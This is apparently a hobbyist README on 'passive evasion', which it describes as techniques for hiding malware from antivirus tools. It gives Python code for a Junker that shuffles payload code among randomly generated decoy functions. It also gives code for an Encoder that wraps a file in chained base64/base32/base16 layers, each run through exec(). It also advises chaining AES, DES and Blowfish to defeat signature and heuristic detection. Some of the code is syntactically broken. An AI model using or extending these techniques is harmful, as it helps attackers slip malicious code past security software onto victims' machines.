This is a basic write up of My theories of passive evasion. I haven't check whether someones already written something just like this before me, if they have I apologize before hand.
Star this if you find this helpful!
please it means a lot
First Obfuscation is literally making something hard to read. Junking is just an additional layer of obfuscation Encryption is literally locking something in code and seeing if someone can get past it.
First create a name array of where thinsg are being called, where and how. Create an random string generator. For the length of the first array, create a second array of the same length of the first with a random strings. Using the first array as a system for location for replacement in the given code, use the second array's contents to fill em. Essentially renaming every instance accurately with every calling of the same thing, renamed to the same thing. This can be complicated to having every instance being called different but point to the same thing. Making code even harder to read.
Note: I'll share an example of this soon
Just have a bunch of fodder code. If you can it would be recommened that you you do a careful mix and match of malware into an actual program using an array to shuffle. Just makes life easier. I've created a random system gen of strings, comments, fodder classes and functions.
class Junker:
def __init__(self, code_array,start_data,end_data):
self.code_array = code_array
self.start_data = start_data
self.end_data = end_data
def random_statments(self):
generator = Name_gen()
var_names = []
assignments = []
statements = []
for x in range(0,random.randint(20,1000)):
data = generator.generate_random_string()
data1 = generator.generate_random_string()
while data in var_names:
data = generator.generate_random_string()
var_names.append(data)
while data1 in assignments:
data1 = generator.generate_random_string()
assignments.append(data1)
for x in range(0,len(assignments)):
line = f'''
{var_names[x]} = "{var_names[x]}"
'''
statements.append(line)
return statements
def Random_functions(self):
generator = Name_gen()
function_operations = []
function_choices = ['add','print','subtract','multiply','massive']
functions = []
for x in range(0,random.randint(200,1000)):
func_choice = random.choice(function_choices)
function_operations.append(func_choice)
for x in range(0, len(function_operations)):
if function_operations[x] == "add":
func_data = []
for x in range(0,5):
data = generator.generate_random_string()
while data in func_data:
data = generator.generate_random_string()
func_data.append(data)
func = [
f'''
def {func_data[0]}():
{func_data[1]} = "{func_data[2]}"
{func_data[3]} = "{func_data[4]}"
print(f"{{{func_data[1]}}} add {{{func_data[3]}}} results in {{{func_data[1]} + {func_data[3]}}}")
'''
]
functions.append(func)
if function_operations[x] == "subtract":
func_data = []
for x in range(0,5):
data = generator.generate_random_string()
while data in func_data:
data = generator.generate_random_string()
func_data.append(data)
func = [
f'''
def {func_data[0]}():
{func_data[1]} = "{func_data[2]}"
{func_data[3]} = "{func_data[4]}"
print(f"{{{func_data[1]}}} subtract {{{func_data[3]}}} results in {{{func_data[1]}.replace({func_data[3]}, '')}}")
'''
]
functions.append(func)
if function_operations[x] == "print":
func_data = []
for x in range(0,4):
data = generator.generate_random_string()
while data in func_data:
data = generator.generate_random_string()
func_data.append(data)
func = [
f'''
#print('"{func_data[0]}" + "{func_data[1]}" + "{func_data[2]}" = "{func_data[3]}"')
'''
]
functions.append(func)
if function_operations[x] == "multiply":
func_data = []
for x in range(0,3):
data = generator.generate_random_string()
while data in func_data:
data = generator.generate_random_string()
func_data.append(data)
num1 = random.randint(0,1000)
num2 = random.randint(0,1000)
func = [
f'''
def {func_data[0]}():
{func_data[1]} = {num1}
{func_data[2]} = {num2}
print(f"{{{func_data[2]}}} multiply {{{func_data[1]}}} results in {{{func_data[1]}*{func_data[2]}}}")
'''
]
functions.append(func)
if function_operations[x] == "massive":
func_data = []
for x in range(0,20):
data = generator.generate_random_string()
while data in func_data:
data = generator.generate_random_string()
func_data.append(data)
func = [
f'''
class {func_data[0]}:
def __init__(self,{func_data[1]},{func_data[2]})
self.{func_data[3]} = {func_data[1]}
self.{func_data[4]} = {func_data[2]}
def {func_data[5]}:
{func_data[6]} = "{func_data[7]}"
{func_data[8]} = []
while True:
try:
{func_data[8]}.append(self.{func_data[6]})
except Exception as e:
pass
print("{{{func_data[8]}}}")
if {func_data[6]}.lower() == "{func_data[9]}":
if {func_data[6]}.lower() == "{func_data[10]}"
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
print(f"{{{func_data[10]}}}")
else:
if {func_data[6]} = "{func_data[11]}":
{func_data[12]} = "{func_data[13]}"
{func_data[14]} = "{func_data[15]}"
{func_data[16]} = "{func_data[17]}"
{func_data[18]} = "{func_data[19]}"
'''
]
return functions
def Merge_Shuffle(self):
one_liners = self.random_statments()
functions = self.Random_functions()
merger_array = []
merger_array.extend(one_liners)
merger_array.extend(functions)
merger_array.extend(self.code_array)
random.shuffle(merger_array)
merger_array.append(self.end_data)
return merger_array
This is quite and inefficent script and a better way to do this would be by creating an actual generation Algorithim. Imagine procedural generation used in infinite games except now in code.
My personal recommendation is as follows; dont use static - or for the purposes of this, static encryptions. Here's how I would go about creating encryption algorithims. Similar to to how I created a dynamic encoding system (I'll explain that later, or in the encodings section), create a dynamic encryption system. Use systematic approches to this, such as creating a random array of possible encryptions, like AES (Advanced Encryption System), DES (Data Encryption System) and Blowfish. This way the generated software will atleast be harder to signature. Additionally, I would highly recommend chaining this, if possible. This is as it increases the possible forms the software can take, as well as making it harder for things to detect the software based on signature or heruistics (Herustics can be gotten round as a result of how by layer encyrptions, you be chnaging the behaviour of the software).
More on this: https://www.splunk.com/en_us/blog/learn/data-encryption-methods-types.html
Now encodings are a bit of a grey area in my opinion. This is for a couple of reasons. First of all, encodings signifcantly increase the size of a code, Base64 encodings increase it by 33%. Base32 by over 50%. Base16 - also just called hexadecimal encoding doesn't increase the code size at all. Also encodings can easily be reversed. But encodings are still effective at this given point in time, for that reason - heres an example script.
import base64
import random
from Obfuscation_modules.obfuscation import *
import time
class Encoder:
def __init__(self,file_path,start_data):
self.file_path = file_path
self.start_data = start_data
with open(self.file_path, 'rb') as f:
self.code_data = f.read()
f.close()
self.generation = Name_gen()
def encoders_list(self):
encoding_operations = []
encoding_options = ['b64encode','b32encode','b16encode']
for x in range(0,random.randint(5,10)):
choice = random.choice(encoding_options)
encoding_operations.append(choice)
return encoding_operations
def encoding(self,operation,data):
if operation == "b64encode":
data = base64.b64encode(data)
run_data = f'''
import base64
data = {data}
exec(base64.b64decode(data))
'''.encode()
time.sleep(3)
return run_data
if operation == "b32encode":
data = base64.b32encode(data)
run_data = f'''
import base64
data = {data}
exec(base64.b32decode(data))
'''.encode()
time.sleep(3)
return run_data
if operation == "b16encode":
data = base64.b16encode(data)
run_data = f'''
import base64
data = {data}
exec(base64.b16decode(data))
'''.encode()
time.sleep(3)
return run_data
def chain(self):
encoded_data = self.code_data
encoding_operations = self.encoders_list()
for operations in encoding_operations:
encoded_data = self.encoding(operation=operations, data=encoded_data)
return encoded_data.decode()
def Complete(self):
finalised_data = self.chain()
complete_data = f"{self.start_data}\n{finalised_data}"
return complete_data
You will only need the base64 and random modules. The Time modules are only there to stop the script from running things too quickly and overloading your memory all together. this lines 'from Obfuscation_modules.obfuscation import *', is just for an intergration im doing with this, this is not needed at all, you would be making your own callings etc when doing this.
This script is very inefficient. Also the variety of encodings used is quite minimal.